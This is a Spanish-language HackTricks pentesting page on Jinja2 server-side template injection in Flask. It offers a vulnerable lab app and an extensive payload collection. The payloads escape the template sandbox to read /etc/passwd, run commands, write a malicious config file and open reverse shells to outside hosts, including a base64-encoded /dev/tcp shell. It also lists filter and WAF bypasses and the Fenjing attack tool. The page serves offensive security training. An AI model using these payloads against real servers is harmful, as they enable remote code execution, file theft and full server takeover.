# Jinja2 SSTI {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %} ## **Laboratorio** ```python from flask import Flask, request, render_template_string app = Flask(__name__) @app.route("/") def home(): if request.args.get('c'): return render_template_string(request.args.get('c')) else: return "Hello, send someting inside the param 'c'!" if __name__ == "__main__": app.run() ``` ## **Varios** ### **Declaración de Depuración** Si la Extensión de Depuración está habilitada, un tag `debug` estará disponible para volcar el contexto actual, así como los filtros y pruebas disponibles. Esto es útil para ver qué está disponible para usar en la plantilla sin configurar un depurador. ```python

{% raw %}
{% debug %}
{% endraw %}






``` ### **Volcar todas las variables de configuración** ```python {{ config }} #In these object you can find all the configured env variables {% raw %} {% for key, value in config.items() %}
{{ key|e }}
{{ value|e }}
{% endfor %} {% endraw %} ``` ## **Inyección Jinja** Primero que nada, en una inyección Jinja necesitas **encontrar una manera de escapar del sandbox** y recuperar el acceso al flujo de ejecución de python regular. Para hacerlo, necesitas **abusar de objetos** que son **del** **entorno no sandboxed pero son accesibles desde el sandbox**. ### Accediendo a Objetos Globales Por ejemplo, en el código `render_template("hello.html", username=username, email=email)` los objetos username y email **provienen del entorno python no sandboxed** y serán **accesibles** dentro del **entorno sandboxed.**\ Además, hay otros objetos que serán **siempre accesibles desde el entorno sandboxed**, estos son: ``` [] '' () dict config request ``` ### Recuperando \ Luego, a partir de estos objetos necesitamos llegar a la clase: **``** para intentar **recuperar** las **clases** definidas. Esto se debe a que desde este objeto podemos llamar al método **`__subclasses__`** y **acceder a todas las clases del** entorno python **no sandboxed**. Para acceder a esa **clase objeto**, necesitas **acceder a un objeto de clase** y luego acceder a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. Y luego, **después** de alcanzar esta **clase objeto** llamamos a **`__subclasses__()`**. Revisa estos ejemplos: ```python # To access a class object [].__class__ ''.__class__ ()["__class__"] # You can also access attributes like this request["__class__"] config.__class__ dict #It's already a class # From a class to access the class "object". ## "dict" used as example from the previous list: dict.__base__ dict["__base__"] dict.mro()[-1] dict.__mro__[-1] (dict|attr("__mro__"))[-1] (dict|attr("\x5f\x5fmro\x5f\x5f"))[-1] # From the "object" class call __subclasses__() {{ dict.__base__.__subclasses__() }} {{ dict.mro()[-1].__subclasses__() }} {{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }} {% raw %} {% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} # Other examples using these ways {{ ().__class__.__base__.__subclasses__() }} {{ [].__class__.__mro__[-1].__subclasses__() }} {{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }} {{ request.__class__.mro()[-1].__subclasses__() }} {% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} {% endraw %} # Not sure if this will work, but I saw it somewhere {{ [].class.base.subclasses() }} {{ ''.class.mro()[1].subclasses() }} ``` ### RCE Escaping **Habiendo recuperado** `` y llamado a `__subclasses__`, ahora podemos usar esas clases para leer y escribir archivos y ejecutar código. La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos de nuevas funciones**, estaremos contentos solo con acceder a la **clase de archivo** para **leer/escribir archivos** o cualquier clase con acceso a una clase que **permita ejecutar comandos** (como `os`). **Leer/Escribir archivo remoto** ```python # ''.__class__.__mro__[1].__subclasses__()[40] = File class {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} ``` **Ejecución Remota de Código** ```python # The class 396 is the class {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} # Without '{{' and '}}'
a
# Calling os.popen without guessing the index of the class {% raw %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ## Passing the cmd line in a GET param {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} {% endraw %} ## Passing the cmd line ?cmd=id, Without " and ' {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }} ``` Para aprender sobre **más clases** que puedes usar para **escapar** puedes **consultar**: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Bypasses de filtro #### Bypasses comunes Estos bypass nos permitirán **acceder** a los **atributos** de los objetos **sin usar algunos caracteres**.\ Ya hemos visto algunos de estos bypass en los ejemplos anteriores, pero resumamos aquí: ```bash # Without quotes, _, [, ] ## Basic ones request.__class__ request["__class__"] request['\x5f\x5fclass\x5f\x5f'] request|attr("__class__") request|attr(["_"*2, "class", "_"*2]|join) # Join trick ## Using request object options request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also) request|attr(request.args.c) #Send a param like "?c=__class__ request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__ request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params ## Lists without "[" and "]" http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ # Using with {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %} {% endraw %} ``` * [**Regresa aquí para más opciones para acceder a un objeto global**](jinja2-ssti.md#accessing-global-objects) * [**Regresa aquí para más opciones para acceder a la clase de objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than) * [**Lee esto para obtener RCE sin la clase de objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than) **Evitando la codificación HTML** Por defecto, Flask codifica en HTML todo lo dentro de una plantilla por razones de seguridad: ```python {{''}} #will be <script>alert(1);</script> ``` **El filtro `safe`** nos permite inyectar JavaScript y HTML en la página **sin** que sea **codificado en HTML**, así: ```python {{''|safe}} #will be ``` **Ejecución Remota de Código (RCE) escribiendo un archivo de configuración malicioso.** ```python # evil config {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # load the evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} ``` ## Sin varios caracteres Sin **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** ```python {% raw %} {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%} {% endraw %} ``` ## Inyección Jinja sin **\** Desde los [**objetos globales**](jinja2-ssti.md#accessing-global-objects) hay otra forma de llegar a **RCE sin usar esa clase.**\ Si logras acceder a alguna **función** de esos objetos globales, podrás acceder a **`__globals__.__builtins__`** y desde allí el **RCE** es muy **sencillo**. Puedes **encontrar funciones** de los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con: ```bash {{ request.__class__.__dict__ }} - application - _load_form_data - on_json_loading_failed {{ config.__class__.__dict__ }} - __init__ - from_envvar - from_pyfile - from_object - from_file - from_json - from_mapping - get_namespace - __repr__ # You can iterate through children objects to find more ``` Una vez que hayas encontrado algunas funciones, puedes recuperar los builtins con: ```python # Read file {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }} # RCE {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }} {{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %} {% endraw %} ## Extra ## The global from config have a access to a function called import_string ## with this function you don't need to access the builtins {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} # All the bypasses seen in the previous sections are also valid ``` ### Fuzzing WAF bypass **Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) es una herramienta que está especializada en CTFs, pero también puede ser útil para forzar parámetros inválidos en un escenario real. La herramienta simplemente lanza palabras y consultas para detectar filtros, buscando bypasses, y también proporciona una consola interactiva. ``` webui: As the name suggests, web UI Default port 11451 scan: scan the entire website Extract all forms from the website based on the form element and attack them After the scan is successful, a simulated terminal will be provided or the given command will be executed. Example:python -m fenjing scan --url 'http://xxx/' crack: Attack a specific form You need to specify the form's url, action (GET or POST) and all fields (such as 'name') After a successful attack, a simulated terminal will also be provided or a given command will be executed. Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name crack-path: attack a specific path Attack http://xxx.xxx/hello/the vulnerabilities that exist in a certain path (such as The parameters are roughly the same as crack, but you only need to provide the corresponding path Example:python -m fenjing crack-path --url 'http://xxx/hello/' crack-request: Read a request file for attack Read the request in the file, PAYLOADreplace it with the actual payload and submit it The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off. ``` ## Referencias * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) * Consulta [el truco de attr para eludir caracteres en la lista negra aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3). * [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113) * [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI) {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks * Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}